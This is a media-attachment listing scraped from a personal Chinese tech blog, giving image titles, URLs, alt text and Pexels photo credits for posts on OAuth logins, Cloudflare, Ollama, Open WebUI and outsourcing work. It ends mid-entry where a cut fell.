https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-189 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-188 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-187 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-186 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-185 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-184 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-183 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-182 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-181 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-180 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-179 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-178 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-177 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-176 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/image-175 ### 1753618299-pexels-photo-1037993 - **URL**: https://www.saiita.com.cn/tools-age-calculation/attachment/1753618299-pexels-photo-1037993 - **Alt Text**: gray double bell clock - **Caption**: Photo by Moose Photos on Pexels.com ### 1753533749-pexels-photo-2225617 - **URL**: https://www.saiita.com.cn/note/computer/computer_motherboard/diy-pc-upgrade-guide.html/attachment/1753533749-pexels-photo-2225617 - **Alt Text**: white and black computer fan - **Caption**: Photo by Martin Lopez on Pexels.com ### 1753531447-pexels-photo-13843404 - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-network-proxy-setup.html/attachment/1753531447-pexels-photo-13843404 - **Alt Text**: people walking on sidewalk in front of a cocktail bar - **Caption**: Photo by Anastasiia Lopushynska on Pexels.com ### 1753516901-pexels-photo-9683980 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/1753516901-pexels-photo-9683980 - **Alt Text**: glass panels exterior of the microsoft building - **Caption**: Photo by Salvatore De Lellis on Pexels.com ### 1753516831-pexels-photo-1482061 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/implement-google-oauth-for-open-source.html/attachment/1753516831-pexels-photo-1482061 - **Alt Text**: black google smartphone on box - **Caption**: Photo by Deepanker Verma on Pexels.com ### 1753513340-pexels-photo-1533720 - **URL**: https://www.saiita.com.cn/note/computer/wechat-mini-program/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e8%a7%a3%e5%86%b3wordpress%e5%92%8c%e5%be%ae%e6%85%95%e5%b0%8f%e7%a8%8b%e5%ba%8f%e6%96%87%e7%ab%a0%e6%b5%8f%e8%a7%88%e9%87%8f%e4%b8%8d%e4%b8%80%e8%87%b4%e7%9a%84.html/attachment/1753513340-pexels-photo-1533720 - **Alt Text**: body of water under blue and white skies - **Caption**: Photo by Matt Hardy on Pexels.com ### 1753513269-pexels-photo-325185 - **URL**: https://www.saiita.com.cn/note/computer/wechat-mini-program/%e8%a7%a3%e5%86%b3%e5%be%ae%e6%85%95%e5%b0%8f%e7%a8%8b%e5%ba%8f%e7%89%88%e6%9c%ac%e6%9b%b4%e6%96%b0%e5%90%8e%e5%92%8cwpjam%e6%b5%8f%e8%a7%88%e9%87%8f%e7%bb%9f%e4%b8%80%e5%ad%97%e6%ae%b5%e5%90%8ewordpr.html/attachment/1753513269-pexels-photo-325185 - **Alt Text**: view of cityscape - **Caption**: Photo by Aleksandar Pasaric on Pexels.com ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-174 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-173 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-172 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-171 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-170 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-169 ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/image-168 ### 1753506240-pexels-photo-11035544 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/github-account-login-integration.html/attachment/1753506240-pexels-photo-11035544 - **Alt Text**: person holding a black and white paper with message - **Caption**: Photo by RealToughCandy.com on Pexels.com ### 1753362332-pexels-photo-3224156 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%ae%b0%e5%bd%95%e4%b8%8bwordpress-%e4%b8%bb%e9%a2%98%e5%9c%b0%e5%9d%80%e5%ae%98%e7%bd%91%e5%92%8cerphpdown-%e6%8f%92%e4%bb%b6%e4%b8%8b%e8%bd%bd%e5%9c%b0%e5%9d%80.html/attachment/1753362332-pexels-photo-3224156 - **Alt Text**: photo of mountain during dawn - **Caption**: Photo by Hert Niks on Pexels.com ### 1753358555-field-corn-air-frisch-158827 - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/isoftstone-standby-records.html/attachment/1753358555-field-corn-air-frisch-158827 - **Alt Text**: corn fields under white clouds with blue sky during daytime - **Caption**: Photo by Pixabay on Pexels.com ### 1753358242-pexels-photo-32472475 - **URL**: https://www.saiita.com.cn/note/ninebot/%e3%80%90%e8%ae%b0%e5%bd%95%e3%80%91%e8%a7%a3%e5%86%b3%e4%b9%9d%e5%8f%b7%e6%9c%ba%e6%a2%b0%e5%b8%88mmax-110p-%e9%be%99%e5%a4%b4%e5%b7%a6%e5%8f%b3%e6%91%87%e6%99%83%e7%9a%84%e9%97%ae%e9%a2%98.html/attachment/1753358242-pexels-photo-32472475 - **Alt Text**: vintage movie projector in a garden setting - **Caption**: Photo by Cheng Shi Song on Pexels.com ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-167 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-166 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-165 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-164 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-163 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91%e5%85%8d%e8%b4%b9frp%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%8c%e6%97%a0%e9%9c%80%e5%85%ac%e7%bd%91ip-cloudflare.html/attachment/image-162 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/image-161 ### 1751895654-alibabacloud-color - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/1751895654-alibabacloud-color ### 640352ab33d131bc79703a1ea063f81 - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/640352ab33d131bc79703a1ea063f81 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/image-160 ### 9e717bd45797126f85593e0171e9af1 - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/9e717bd45797126f85593e0171e9af1 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e9%98%bf%e9%87%8c%e4%ba%91oss-%e6%a1%b6%e6%9c%89%e5%85%b6%e4%bb%96%e8%8e%ab%e5%90%8d%e5%85%b6%e5%a6%99%e6%96%87%e4%bb%b6%e5%8e%9f%e5%9b%a0.html/attachment/image-159 ### 1751785403-bing-color - **URL**: https://www.saiita.com.cn/note/computer/software/bing/%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e4%bb%8ebing%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e5%88%a0%e9%99%a4%e6%8c%87%e5%ae%9aurl%ef%bc%9f3%e6%ad%a5%e6%90%9e%e5%ae%9a%e4%b8%8b%e6%9e%b6%e8%af%b7%e6%b1%82.html/attachment/1751785403-bing-color ### image - **URL**: https://www.saiita.com.cn/note/computer/software/bing/%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e4%bb%8ebing%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e5%88%a0%e9%99%a4%e6%8c%87%e5%ae%9aurl%ef%bc%9f3%e6%ad%a5%e6%90%9e%e5%ae%9a%e4%b8%8b%e6%9e%b6%e8%af%b7%e6%b1%82.html/attachment/image-158 ### IMG_0573 - **URL**: https://www.saiita.com.cn/huawei/%e5%8d%8e%e4%b8%ba%e5%a4%96%e5%8c%85%e7%9a%84%e6%ae%8b%e9%85%b7%e6%b3%95%e5%88%99%ef%bc%9a%e8%a6%81%e4%b9%88%e6%8e%a5%e5%8f%97%e7%89%9b%e9%a9%ac%e5%be%85%e9%81%87%ef%bc%8c%e8%a6%81.html/attachment/img_0573 - **Alt Text**: 华为主动管理 - **Caption**: 华为主动管理 - **Description**: 华为主动管理 ### IMG_0574 - **URL**: https://www.saiita.com.cn/huawei/%e5%8d%8e%e4%b8%ba%e5%a4%96%e5%8c%85%e7%9a%84%e6%ae%8b%e9%85%b7%e6%b3%95%e5%88%99%ef%bc%9a%e8%a6%81%e4%b9%88%e6%8e%a5%e5%8f%97%e7%89%9b%e9%a9%ac%e5%be%85%e9%81%87%ef%bc%8c%e8%a6%81.html/attachment/img_0574 ### 1750229284-Canonical Ubuntu - **URL**: https://www.saiita.com.cn/1750229284-canonical-ubuntu ### cropped-1750042825-saiita_icon_only_transparent.png - **URL**: https://www.saiita.com.cn/1750042825-saiita_icon_only_transparent/attachment/cropped-1750042825-saiita_icon_only_transparent-png - **Description**: https://cdn.saiita.com.cn/wp-content/uploads/2025/06/cropped-1750042825-saiita_icon_only_transparent.png ### 1750042825-saiita_icon_only_transparent - **URL**: https://www.saiita.com.cn/1750042825-saiita_icon_only_transparent ### cropped-1750042401-saiita_blog_logo-1.png - **URL**: https://www.saiita.com.cn/1750042401-saiita_blog_logo/attachment/cropped-1750042401-saiita_blog_logo-1-png - **Alt Text**: SaiitaのBlog Logo - **Description**: https://cdn.saiita.com.cn/wp-content/uploads/2025/06/cropped-1750042401-saiita_blog_logo-1.png ### 1750042401-saiita_blog_logo - **URL**: https://www.saiita.com.cn/1750042401-saiita_blog_logo ### image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e5%ae%9d%e5%a1%94%e7%bd%91%e7%ab%99%e7%9b%91%e6%8e%a7%e6%8a%a5%e8%a1%a8%e5%ba%94%e7%94%a8%e7%9a%84seo%e4%bc%98%e5%8c%96%e5%ad%98%e5%9c%a8%e9%9d%9e%e5%b8%b8%e4%b8%a5%e9%87%8d%e7%9a%84%e9%97%ae.html/attachment/image-157 ### image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e5%ae%9d%e5%a1%94%e7%bd%91%e7%ab%99%e7%9b%91%e6%8e%a7%e6%8a%a5%e8%a1%a8%e5%ba%94%e7%94%a8%e7%9a%84seo%e4%bc%98%e5%8c%96%e5%ad%98%e5%9c%a8%e9%9d%9e%e5%b8%b8%e4%b8%a5%e9%87%8d%e7%9a%84%e9%97%ae.html/attachment/image-156 ### image - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e5%ae%9d%e5%a1%94%e7%bd%91%e7%ab%99%e7%9b%91%e6%8e%a7%e6%8a%a5%e8%a1%a8%e5%ba%94%e7%94%a8%e7%9a%84seo%e4%bc%98%e5%8c%96%e5%ad%98%e5%9c%a8%e9%9d%9e%e5%b8%b8%e4%b8%a5%e9%87%8d%e7%9a%84%e9%97%ae.html/attachment/image-154 ### 1749964203-microsoft-color - **URL**: https://www.saiita.com.cn/1749964203-microsoft-color ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-148 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-155 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-153 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-152 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-151 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-150 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-149 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-147 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-146 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-145 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-144 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-143 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-cdn-%e9%98%bf%e9%87%8c%e4%ba%91-cdn%e5%ae%9e%e7%8e%b0%e5%9b%bd%e5%a4%96cdn%e8%ae%bf%e9%97%ae%e7%bd%91%e7%ab%99%e7%bd%91%e7%bb%9c%e5%8a%a0%e9%80%9f.html/attachment/image-142 ### 1749807244-cloudflare-color - **URL**: https://www.saiita.com.cn/1749807244-cloudflare-color ### 1749384206-ollama - **URL**: https://www.saiita.com.cn/1749384206-ollama ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/%e5%88%86%e4%ba%ab%e5%92%8c%e8%ae%b0%e5%bd%95%e4%b8%80%e4%b8%aa-ai-llm%e6%a8%a1%e5%9e%8b%e5%9b%be%e6%a0%87%e9%9b%86%e4%b8%8b%e8%bd%bd%e7%bd%91%e5%9d%80.html/attachment/image-141 ### 1748867889-微信收款码 - **URL**: https://www.saiita.com.cn/1748867889-%e5%be%ae%e4%bf%a1%e6%94%b6%e6%ac%be%e7%a0%81 ### 1748867888-支付宝二维码 - **URL**: https://www.saiita.com.cn/1748867888-%e6%94%af%e4%bb%98%e5%ae%9d%e4%ba%8c%e7%bb%b4%e7%a0%81 ### image - **URL**: https://www.saiita.com.cn/huawei/isoftstone/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e5%90%88%e5%90%8c%e7%bb%ad%e7%ad%be%e5%a4%a7%e5%9d%91%e4%b9%8b%e4%b8%80.html/attachment/image-140 ### image - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e5%9d%90%e7%8f%ad%e7%ac%ac%e4%b8%83%e5%a4%a9%e5%9b%9e%e5%a4%8d%e4%b8%8d%e5%90%8c%e6%84%8f%e5%87%ba%e7%8e%b0%e9%80%9a%e7%9f%a5%e4%b9%a6%e6%a8%a1%e6%9d%bf.html/attachment/image-139 ### image - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e8%a2%ab%e6%8b%89%e8%bf%9b%e7%a5%9e%e7%a7%98%e5%be%ae%e4%bf%a1%e7%be%a4%e5%90%8e%e5%a4%96%e5%8c%85%e5%90%8c%e4%ba%8b%e9%9b%86%e4%bd%93%e8%ba%b2%e8%bf%87%e4%ba%86%e5%85%ac%e5%8f%b8%e5%9f%8b%e7%9a%845.html/attachment/image-138 ### 1747046261-外包坐班 - **URL**: https://www.saiita.com.cn/1747046261-%e5%a4%96%e5%8c%85%e5%9d%90%e7%8f%ad - **Alt Text**: 外包坐班 ### 1747045995-openai - **URL**: https://www.saiita.com.cn/1747045995-openai ### 1747045916-openwebui-text - **URL**: https://www.saiita.com.cn/1747045916-openwebui-text ### 1747045758-ollama - **URL**: https://www.saiita.com.cn/1747045758-ollama ### 1747045495-qwen-color - **URL**: https://www.saiita.com.cn/1747045495-qwen-color ### 1747045495-gemma-color - **URL**: https://www.saiita.com.cn/1747045495-gemma-color ### 1747045495-deepseek - **URL**: https://www.saiita.com.cn/1747045495-deepseek ### 1747045495-deepseek-color - **URL**: https://www.saiita.com.cn/1747045495-deepseek-color ### 1747045490-baai - **URL**: https://www.saiita.com.cn/1747045490-baai ### image - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e7%94%b5%e5%ad%90%e5%90%88%e5%90%8c%e4%b8%8b%e8%bd%bd.html/attachment/image-137 ### image - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e7%94%b5%e5%ad%90%e5%90%88%e5%90%8c%e4%b8%8b%e8%bd%bd.html/attachment/image-136 ### 软通动力坐班 - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%ef%bc%8c%e5%9d%90%e7%8f%ad%e7%ac%ac%e4%b8%80%e5%a4%a9.html/attachment/%e8%bd%af%e9%80%9a%e5%8a%a8%e5%8a%9b%e5%9d%90%e7%8f%ad ### 谷歌广告 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e3%80%90%e5%89%af%e4%b8%9a%e3%80%91%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e6%94%b6%e7%9b%8a.html/attachment/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a ### ff33c218caf95a7172a82240b0c9963 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e3%80%90%e5%89%af%e4%b8%9a%e3%80%91%e7%bd%91%e5%bf%83%e4%ba%91%e6%94%b6%e7%9b%8a%e5%b7%b2%e7%bb%8f%e6%9c%891229%e5%85%83.html/attachment/ff33c218caf95a7172a82240b0c9963 ### Windows 11 环境变量 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91windows-11-%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e8%bf%9b%e5%85%a5%e7%b3%bb%e7%bb%9f%e7%8e%af%e5%a2%83%e5%8f%98%e9%87%8f%e8%ae%be%e7%bd%ae.html/attachment/windows-11-%e7%8e%af%e5%a2%83%e5%8f%98%e9%87%8f ### Windows 11 系统属性 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91windows-11-%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e8%bf%9b%e5%85%a5%e7%b3%bb%e7%bb%9f%e7%8e%af%e5%a2%83%e5%8f%98%e9%87%8f%e8%ae%be%e7%bd%ae.html/attachment/windows-11-%e7%b3%bb%e7%bb%9f%e5%b1%9e%e6%80%a7 ### Win+I - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91windows-11-%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e8%bf%9b%e5%85%a5%e7%b3%bb%e7%bb%9f%e7%8e%af%e5%a2%83%e5%8f%98%e9%87%8f%e8%ae%be%e7%bd%ae.html/attachment/wini ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/ollama/windows-ollama-%e8%ae%be%e7%bd%ae%e8%bf%9c%e7%a8%8b%e8%ae%bf%e9%97%ae.html/attachment/image-135 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/ollama/windows-ollama-%e8%bf%81%e7%a7%bb%e4%b8%8b%e8%bd%bd%e6%a8%a1%e5%9e%8b%e5%88%b0%e5%85%b6%e4%bb%96%e7%a1%ac%e7%9b%98.html/attachment/image-134 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/ollama/windows-ollama-%e8%bf%81%e7%a7%bb%e4%b8%8b%e8%bd%bd%e6%a8%a1%e5%9e%8b%e5%88%b0%e5%85%b6%e4%bb%96%e7%a1%ac%e7%9b%98.html/attachment/image-133 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/ollama/windows-ollama-%e8%bf%81%e7%a7%bb%e4%b8%8b%e8%bd%bd%e6%a8%a1%e5%9e%8b%e5%88%b0%e5%85%b6%e4%bb%96%e7%a1%ac%e7%9b%98.html/attachment/image-132 ### Google OAuth open-webui - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/open-webui-%e8%ae%be%e7%bd%ae%e7%94%a8google%e8%b4%a6%e5%8f%b7%e7%99%bb%e9%99%86-openwebui.html/attachment/google-oauth-open-webui ### Google Cloud OAuth Open-webui - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/open-webui-%e8%ae%be%e7%bd%ae%e7%94%a8google%e8%b4%a6%e5%8f%b7%e7%99%bb%e9%99%86-openwebui.html/attachment/google-cloud-oauth-open-webui ### open-webui-logo - **URL**: https://www.saiita.com.cn/1743691815-open-webui-logo ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/%e8%a7%a3%e5%86%b3open-webui-%e5%bc%80%e5%90%af%e8%81%94%e7%bd%91%e6%90%9c%e7%b4%a2%e6%97%b6%e6%8a%a5network-problem-%e9%94%99%e8%af%af.html/attachment/image-131 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/open-webui-%e9%85%8d%e7%bd%aepipeline.html/attachment/image-130 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/ubuntu-%e9%80%9a%e8%bf%87pip%e6%96%b9%e5%bc%8f%e9%83%a8%e7%bd%b2openwebui.html/attachment/image-129 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/ubuntu-%e9%80%9a%e8%bf%87pip%e6%96%b9%e5%bc%8f%e9%83%a8%e7%bd%b2openwebui.html/attachment/image-128 ### image - **URL**: https://www.saiita.com.cn/note/computer/ai/ollama/%e6%9c%ac%e5%9c%b0%e7%94%b5%e8%84%91ubuntuollama%e9%83%a8%e7%bd%b2deepseek-r1-1-5b-%e6%a8%a1%e5%9e%8b.html/attachment/image-127 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-hotmail-%e6%97%a0%e6%88%90%e6%9c%ac%e5%88%9b%e5%bb%ba%e8%87%aa%e5%ae%9a%e4%b9%89%e5%9f%9f%e5%90%8d%e9%82%ae%e7%ae%b1.html/attachment/image-126 ### image - **URL**: https://www.saiita.com.cn/note/computer/software/cloudflare/cloudflare-hotmail-%e6%97%a0%e6%88%90%e6%9c%ac%e5%88%9b%e5%bb%ba%e8%87%aa%e5%ae%9a%e4%b9%89%e5%9f%9f%e5%90%8d%e9%82%ae%e7%ae%b1.html/attachment/image-125 ### image - **URL**: 